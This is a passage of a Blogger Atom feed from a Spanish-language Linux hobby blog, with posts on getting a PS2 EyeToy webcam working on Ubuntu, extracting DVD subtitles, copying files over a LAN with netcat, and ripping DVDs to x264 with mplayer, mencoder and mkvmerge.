/&gt;&lt;br /&gt;http://thgodef.nerim.net/xdialog/doc/index.html&lt;br /&gt;&lt;br /&gt;Un Saludo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-116792910325408302?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/116792910325408302/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=116792910325408302' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/116792910325408302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/116792910325408302'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/01/interfaces-graficas-con-scripts-seguro.html' title=''/><author><name>Palomo</name><uri>http://www.blogger.com/profile/14059524707317606162</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-116687159733083072</id><published>2006-12-23T11:58:00.000+01:00</published><updated>2007-03-28T16:08:23.675+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webcam'/><category scheme='http://www.blogger.com/atom/ns#' term='ps2'/><category scheme='http://www.blogger.com/atom/ns#' term='drivers'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'></title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Cómo hacer funcionar la webcam EyeToy de la PS2 en Ubuntu:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;Supongo que también funcionará para Debian, estos son los pasos a seguir.&lt;br /&gt;&lt;br /&gt;Lo primero es instalar los headers estos del kernel:&lt;br /&gt;&lt;code dir="ltr" style="margin: 0px;"&gt;sudo apt-get install build-essential linux-headers-`uname -r`&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Esto nos bajará algunas cosillas para instalar los drivers y las cabeceras de nuestro kernel.&lt;br /&gt;&lt;br /&gt;Lo siguiente es bajarnos el driver, nos aseguramos de que estamos en nuestra carpeta personal y ponemos:&lt;br /&gt;&lt;code dir="ltr" style="margin: 0px;"&gt;wget http://www.rastageeks.org/downloads/ov51x-jpeg/ov51x-jpeg-0.5.4.tar.gz&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora lo descomprimimos...&lt;br /&gt;&lt;code dir="ltr" style="margin: 0px;"&gt;tar -xvf ov51x-jpeg-0.5.4.tar.gz&lt;br /&gt;cd ov51x-jpeg-0.5.4&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Esto nos hará entrar en el directorio del driver recién descomprimido, lo siguiente es instalar los drivers:&lt;br /&gt;&lt;code dir="ltr" style="margin: 0px;"&gt;sudo make install&lt;br /&gt;sudo modprobe videodev&lt;br /&gt;sudo modprobe i2c_core&lt;br /&gt;sudo insmod /lib/modules/`uname -r`/extra/ov51x.ko&lt;br /&gt;sudo insmod /lib/modules/`uname -r`/extra/ov519_decomp.ko&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Hay que poner una línea cada vez!&lt;br /&gt;Por último para ver si funciona podemos usar un programilla como el xawTV para ver si funciona:&lt;br /&gt;&lt;code dir="ltr" style="margin: 0px;"&gt;sudo apt-get install xawtv&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;El manual este es una traducción muy libre del artículo: http://smorgasbord.net/howto_get_eyetoy_webcam_working_for_ubuntu&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-116687159733083072?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/116687159733083072/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=116687159733083072' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/116687159733083072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/116687159733083072'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2006/12/cmo-hacer-funcionar-la-webcam-eyetoy.html' title=''/><author><name>Tonacho</name><uri>http://www.blogger.com/profile/13777322936310233376</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-116610051356408573</id><published>2006-12-14T13:21:00.000+01:00</published><updated>2008-02-08T19:42:15.506+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ripeo'/><category scheme='http://www.blogger.com/atom/ns#' term='mplayer'/><title type='text'></title><content type='html'>&lt;h2&gt;Metodo alternativo para extraer substítulos de DVDs.&lt;/h2&gt;&lt;br /&gt;Sí, lo sé, esto ya estaba dicho en otro post y ya entonces era inútil de cojones (ahora tienes que estar sumando mentalmente todos los bits que has desperdiciado de ancho de banda cargando este puto artículo en lugar de estar viendo porno ^_^)&lt;br /&gt;&lt;br /&gt;El caso es utilizando el método del mencoder he tenido problemas de sincronización con algunos ripeos. De todas formas sigo utilizándolo porque me parece más sencillo y sólo uso el otro método cuando no me queda otra.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Método tradicional:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para saber qué subtitulos hay disponibles en el DVD&lt;br /&gt;&lt;code&gt;mplayer -v dvd://1 -dvd-device /mnt/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/&lt;/code&gt;&lt;code&gt; -vo null -ao null -frames 0 -v 2&gt;&amp;1 | grep sid&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Extraer subtítulos  -sid 0, -sid 1, -sid 2...&lt;br /&gt;&lt;code&gt;mencoder dvd://1 -dvd-device /dev/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/ -vobsubout subtitle_name -vobsuboutindex 0 -sid 0 -o frameno.avi -ovc frameno -nosound&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Método alternativo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Primero buscamos el valor del parámetro ID_SUBTITLE_ID en la salida del siguiente comando.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;mplayer -dvd-device /mnt/musica/Commited/FREAKS_DVD/ \&lt;br /&gt;dvd://1 -identify -vo null -frames 0 -v 2&gt;&amp;1| \&lt;br /&gt;sed -n -e '/ID_SUBTITLE_ID/{1!p;g;$!N;p;D;}' -e h&lt;br /&gt;&lt;br /&gt;ID_SUBTITLE_ID=0&lt;br /&gt;subtÃ­tulo ( sid ): 0 idioma: en&lt;br /&gt;ID_SID_0_LANG=en&lt;br /&gt;ID_SUBTITLE_ID=4&lt;br /&gt;subtÃ­tulo ( sid ): 1 idioma: es&lt;br /&gt;ID_SID_1_LANG=es&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Sumamos a 0x20 el número que hayamos visto (en este caso 0x20 + 4) y extraemos los subs&lt;br /&gt;&lt;code&gt;tccat -i /mnt/musica/Commited/FREAKS_DVD/ -T 1 -L | tcextract -x ps1 -t vob -a 0x24 &gt; subs-es&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Convertimos el subs-es a formato idx&lt;br /&gt;Nota: Cambiando el canal podemos meter varios subtítulos en un solo par de ficheros .sub e .idx, pero esto sólo funcionará a partir de Subtitleripper 0.3.1&lt;br /&gt;&lt;code&gt;subtitle2vobsub -o vobsubs-es -a 0,es -i /mnt/musica/Commited/FREAKS_DVD/VIDEO_TS/VTS_01_0.IFO &lt; sub-es&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;¡A cuidarse!&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-116610051356408573?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/116610051356408573/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=116610051356408573' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/116610051356408573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/116610051356408573'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2006/12/metodo-alternativo-para-extraer.html' title=''/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-116119429213144362</id><published>2006-10-18T19:50:00.000+02:00</published><updated>2007-03-28T16:05:18.183+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><title type='text'></title><content type='html'>&lt;h2&gt;Primeros pasos con Netcat (como cp por TCP/IP)&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Bueno, seguimos con el copy&amp;paste - mira que hay que ser cutre para autoplagiar algo tan malo xDD&lt;/p&gt;&lt;p&gt;Este mini-articulo es en homenaje a un tio que conocí en la Campus-party que pilotaba de linux un rato largo y me enseñó lo que puede dar de sí Netcat... (hola Yshi/Plue ;-))&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Como en la descripción de su ayuda indica el netcat es la “navaja suiza de TCP/IP”, lo que hace “solamente” es escribir o leer a traves de la red. Precisamente en su simplicidad está su potencia (ya sabeis, la filosofía Unix de pequeñas herramientas para combinarlas bla, bla, bla ;-))&lt;/p&gt;  &lt;p&gt;Una de su mayores ventajas es que se comporta exáctamente igual independientemente del puerto en el que trabaje, de ahí que muchos lammers malos malísimos utilicen esta herramienta para simular un servidor ftp o un telnet y conseguir contraseñas (¿De verdad hay gente tan g$l$p$ll$s? XDDDD).&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Yo principalmente uso netcat (o nc) para intercambiar ficheros cuando no quiero perder el tiempo instalando samba, nfs, scp o lo que sea. Esto va directo a vena ;-). Este articulo intentará explicar como utilizar netcat como un cp a traves de la  red.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Aquí  es donde llega el como instalarlo y tal, vamos a intentarlo:&lt;/p&gt; &lt;code&gt; Para Debian: apt-get install netcat&lt;br /&gt;Para gentoo: emerge -va netcat&lt;br /&gt;Para mandrake/Red Hat: urpmi netcat&lt;br /&gt;&lt;/code&gt; &lt;p&gt;Habeis cojido la idea, ¿no?. Bueno, para los machotes de slack, BSD o LFS, no sé que cojones hacéis leyendo esto ~_^&lt;/p&gt; &lt;p&gt;&lt;b&gt;Al tomate:&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Primero elegimos un puerto por el que se comunicarán (p.e. el 6600)&lt;/p&gt; &lt;p&gt;IP de la máquina origen: 172.26.0.10&lt;/p&gt; &lt;p&gt;IP de la máquina destino: 172.26.0.20&lt;/p&gt; &lt;p&gt;&lt;b&gt;Para pasar un archivo:&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Ponemos la máquina destino en escucha:&lt;/p&gt; &lt;code&gt;netcat -l -p 6600 172.260.10 &lt; archivo&lt;br /&gt;&lt;/code&gt; &lt;p&gt;Y en la máquina origen escribimos:&lt;/p&gt; &lt;code&gt;netcat 172.26.0.20 -p 6600 &gt; archivo&lt;br /&gt;&lt;/code&gt; &lt;p&gt;&lt;b&gt;Paso a explicarlo:&lt;/b&gt;&lt;/p&gt; &lt;p&gt;-l   Indica que lanzamos netcat en modo escucha (listen)&lt;/p&gt; &lt;p&gt;-p 6600 Puerto en el que espera la conexión&lt;/p&gt; &lt;p&gt;172.26.0.x Cuando en la máquina que escucha especificamos una IP, restringimos quien le manda la información, de forma que si recibiese información de otra IP, simplemente terminaría. En la máquina que escucha podemos omitir la IP sin problemas, todo depende de como de hostil sea tu red :-p&lt;/p&gt; &lt;p&gt;Pero es un coñazo hacer un &lt;i&gt;nc&lt;/i&gt; con cada archivo que queramos pasar, ¿no?, ¿recordáis aquello de la filosofía Unix y combinar las pequeñas herramientas?, pues ahora vamos a tirar de &lt;i&gt;tar&lt;/i&gt; que para eso está.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Como copiar un directorio por red:&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Ponemos la máquina destino en escucha:&lt;/p&gt; &lt;code&gt;netcat -l  -p 6600 172.26.0.10 |tar xvjf -&lt;br /&gt;&lt;/code&gt; &lt;p&gt;|tar xvjf - No voy a enumerar cada opción del &lt;i&gt;tar&lt;/i&gt; porque no es el objetivo de este articulo, ya sabéis RTFM ^_^. Simplemente saber que el &lt;i&gt;tar&lt;/i&gt; desempaquetará y descomprimirá todo lo que reciba. (si andais jodidos de espacio y sobrados de ancho de banda, podéis omitir la “j”)&lt;/p&gt; &lt;p&gt;Y en la máquina origen que envía los archivos:&lt;/p&gt; &lt;code&gt;tar cvjf – directorio_que_queremos_enviar/ | nc 172.26.0.20 6600&lt;br /&gt;&lt;/code&gt; &lt;p&gt;Como supondréis, lo que hace es compactar y comprimir un directorio para mandarlo por netcat en un solo archivo.&lt;/p&gt;  &lt;p&gt;Como rollo anecdótico podemos usar el nc como servidor web con algo tan tonto como:&lt;/p&gt; &lt;code&gt;nc -l -p 80 index.html&lt;br /&gt;&lt;/code&gt; &lt;p&gt;Por supuesto, tiene otros muchos usos: Como chat, para conseguir información de servidores, etc.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Links de interes:&lt;/b&gt;&lt;/p&gt; &lt;a href="http://linuca.org/body.phtml?nIdNoticia=276"&gt;Tutorial de LINUCA bastante más completo que este :-)&lt;/a&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://foro.elhacker.net/index.php/topic,15859.0.html"&gt;Tutorial de lammers que encontré buscando info de netcat para no meter demasiado la pata (¡por favor, no me jakeeis la aspiradora!)XDDDD&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Si alguien tiene dudas de como funciona esto de las tuberías ( “&lt;span style=""&gt;&lt;i&gt;&lt;”,“&gt;”,”|”,”-”, etc), nada mejor que &lt;/i&gt;&lt;/span&gt;&lt;a href="http://es.tldp.org/"&gt;&lt;span style=""&gt;&lt;i&gt;TLDP-ES/LuCAS&lt;/i&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Y eso es todo, ¡espero que os haya sido de utilidad!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-116119429213144362?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/116119429213144362/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=116119429213144362' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/116119429213144362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/116119429213144362'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2006/10/primeros-pasos-con-netcat-como-cp-por.html' title=''/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-115952794846048867</id><published>2006-09-29T12:37:00.000+02:00</published><updated>2007-03-28T16:06:06.794+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ripeo'/><title type='text'></title><content type='html'>&lt;h2&gt;Ripear DVDs a x264&lt;/h2&gt;&lt;br /&gt;Con esto empiezo el autofusilamiento de artículos de la antigüa encarnación de la Finka Party, ¡Qué empiece el copy&amp;paste!&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Primero buscamos qué pista del DVD tiene la peli, yo he reproducido la peli con XINE. Normalmente suele ser el título 1&lt;/p&gt;&lt;br /&gt;&lt;p&gt; Extraemos el VIDEO&lt;/p&gt; &lt;p&gt;&lt;code&gt;mplayer -v dvd://1 -dvd-device /mnt/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/ -dumpvideo -dumpfile video.m1v&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Si queremos recortar las bandas negras (no es obligatorio).&lt;/p&gt;  &lt;p&gt;Conviene dejarlo hasta el final para asegurarnos. Si no, puede pillar en un fundido en negro o durante las letras, etc y no sería correcto (Tarda el mismo tiempo que dura la peli).&lt;/p&gt; &lt;p&gt;&lt;code&gt;mplayer -vo null -ao null -vf cropdetect video.m1v |tee -a croptdetect.out&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Para saber qué audios hay disponibles en el DVD&lt;/p&gt; &lt;p&gt;&lt;code&gt;mplayer -v dvd://1 -dvd-device /mnt/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/ &lt;/code&gt;&lt;code&gt;-vo null -ao null -frames 0 -v 2&gt;&amp;amp;1 | grep aid&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Extraer pistas de audio  -aid 128, -aid 129, -aid 129...&lt;/p&gt; &lt;p&gt;&lt;code&gt;mplayer -v dvd://1 -dvd-device /mnt/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/&lt;/code&gt;&lt;code&gt; -aid 128 -dumpaudio -dumpfile audio_name.ac3&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Para saber qué subtitulos hay disponibles en el DVD&lt;/p&gt; &lt;p&gt;&lt;code&gt;mplayer -v dvd://1 -dvd-device /mnt/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/&lt;/code&gt;&lt;code&gt; -vo null -ao null -frames 0 -v 2&gt;&amp;amp;1 | grep sid&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Extraer subtítulos  -sid 0, -sid 1, -sid 2...&lt;/p&gt; &lt;p&gt;&lt;code&gt;mencoder dvd://1 -dvd-device /dev/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/ -vobsubout subtitle_name -vobsuboutindex 0 -sid 0 -o frameno.avi -ovc frameno -nosound&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; NOTA: El límite de espacio de un DVD son 4489 MB. En los cálculos usaremos 4486 para no apurar tanto&lt;/p&gt; &lt;p&gt; Hacemos un &lt;code&gt;du -sm ./* &lt;/code&gt;para ver cuanto ocupan los audios y videos. En mi caso cada pista de audio ocupa 271 MB y los subtítulos 5 y 4 MB respectivamente.&lt;/p&gt; &lt;p&gt; Calculo para bitrate: (4486 - pistas de audio - subtítulos) = (4486 - 271 - 271 - 5 - 4) = 3935&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; bitcalc nos calculará el bitrate que usaremos. Se puede descargar del servidor ftp: &lt;a href="ftp://ftp.finka.homeip.net/scripts/bitcalc"&gt;bitcalc&lt;/a&gt;&lt;/p&gt; &lt;p&gt;-s tamaño_que_queramos_que_tenga_el_video -f frames -d tiempo_de_la_pelicula (horas,minutos,segundos)&lt;/p&gt; &lt;p&gt;&lt;code&gt;bitcalc -s 3935 -f 25 -d 1,38,28&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Crearse un script con lo que pone debajo llamado x264.sh&lt;/p&gt; &lt;p&gt; Al ejecutarlo creará un archivo llamado kiss.x264&lt;/p&gt; &lt;p&gt; Esto tarda la de redios, en mi PC han sido unas 45 horas, en el de el Kolas son unos 5 días xDDD&lt;/p&gt; &lt;p&gt; Los valores de crop sólo son necesario si hemos calculado el area de las bandas negras. Mirar en el archivo croptdetect.out que hemos generado antes.&lt;/p&gt; &lt;p&gt;&lt;code&gt;mencoder video.m1v -nosound -vf crop=720:416:0:80 -ovc x264 -x264encopts cabac=0:deblock=0:subq=6:me=4:8x8dct:frameref=6:trellis=0:qp_constant=1:bframes=3:me=4:4x4mv:b_pyramid:weight_b:bitrate=5582:pass=1 -o "/dev/null"&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;code&gt;mencoder video.m1v -nosound -vf crop=720:416:0:80 -ovc x264 -x264encopts cabac=0:deblock=0:subq=6:me=4:8x8dct:frameref=6:trellis=0:qp_constant=1:bframes=3:me=4:4x4mv:b_pyramid:weight_b:bitrate=5582:pass=2 -o "/mnt/pelis/DVD/Kiss/kiss.x264" &lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Para juntar el video + audio + subs&lt;/p&gt; &lt;p&gt; Si os da error, tendréis que añadirle la opción &lt;code&gt;--engage allow_avc_in_vfw_mode&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;code&gt;mkvmerge --aspect-ratio 0:16/9 -o kiss.mkv kiss.x264 english.ac3 spanish.ac3 english.idx spanish.idx&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Si queréis recortar el archivo en 2, pero es un coñazo calcular por donde cortarlo (yo no lo he probado)&lt;/p&gt; &lt;p&gt;&lt;code&gt;mkvmerge --aspect-ratio 0:16/9 --split 00:39:22 --split-max-files 2 -o Grabar.mkv Hero.avi soundchino.ac3 soundes.ac3 Hero.idx&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; OPCIONAL: Si queréis ponerle el tag del idioma a las cadenas de audio&lt;/p&gt; &lt;p&gt;&lt;code&gt;mkvmerge --engage allow_avc_in_vfw_mode -o kiss_with-lang-codes.mkv&lt;br /&gt;--language 2:en --language 3:es kiss.mkv&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt; El mkisofs no permite crear imágenes con archivos mayores de 4 gigas, esto es un workarround que dirían los ingleses. Me he currado un kutre-script automatizandolo por si os fiais de un manazas como yo, &lt;a href="ftp://ftp.finka.homeip.net/scripts/grabar_4GB"&gt;el kutre-script&lt;/a&gt;)&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Como tostar DVDs con un archivo superior a 4 Gigas&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Crear fichero de ceros para la imagen&lt;/p&gt; &lt;p&gt;&lt;code&gt;dd if=/dev/zero of=file.iso bs=2048 count=2298350&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Convertir a UDF la iso&lt;/p&gt; &lt;p&gt;&lt;code&gt;mkudffs file.iso&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Montar imagen&lt;/p&gt; &lt;p&gt;&lt;code&gt;mount -o loop -t udf file.iso /mnt/iso/&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Copiar el .mkv a /mnt/iso/&lt;/p&gt; &lt;p&gt;&lt;code&gt;cp -gpv /mnt/pelis/DVD/Kiss/Kiss\ Kiss\ Bang\ Bang.mkv /mnt/iso/&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Borramos el directorio lost+found&lt;/p&gt; &lt;p&gt;&lt;code&gt;rm /mnt/iso/lost+found/ -Rf&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Desmontar la imagen &lt;/p&gt; &lt;p&gt;&lt;code&gt;umount /mnt/iso/&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; Grabar la imagen&lt;/p&gt; &lt;p&gt;&lt;code&gt;cdrecord -v -dao -dev=/dev/hdc -driver=mmc_mdvd -driveropts=burnfree file.iso&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Como dirían los de la wikipedia, "this is a stub", que está un poco en bragas el artículo de marras ^_^&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-115952794846048867?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/115952794846048867/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=115952794846048867' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/115952794846048867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/115952794846048867'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2006/09/ripear-dvds-x264-con-esto-empiezo-el.html' title=''/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
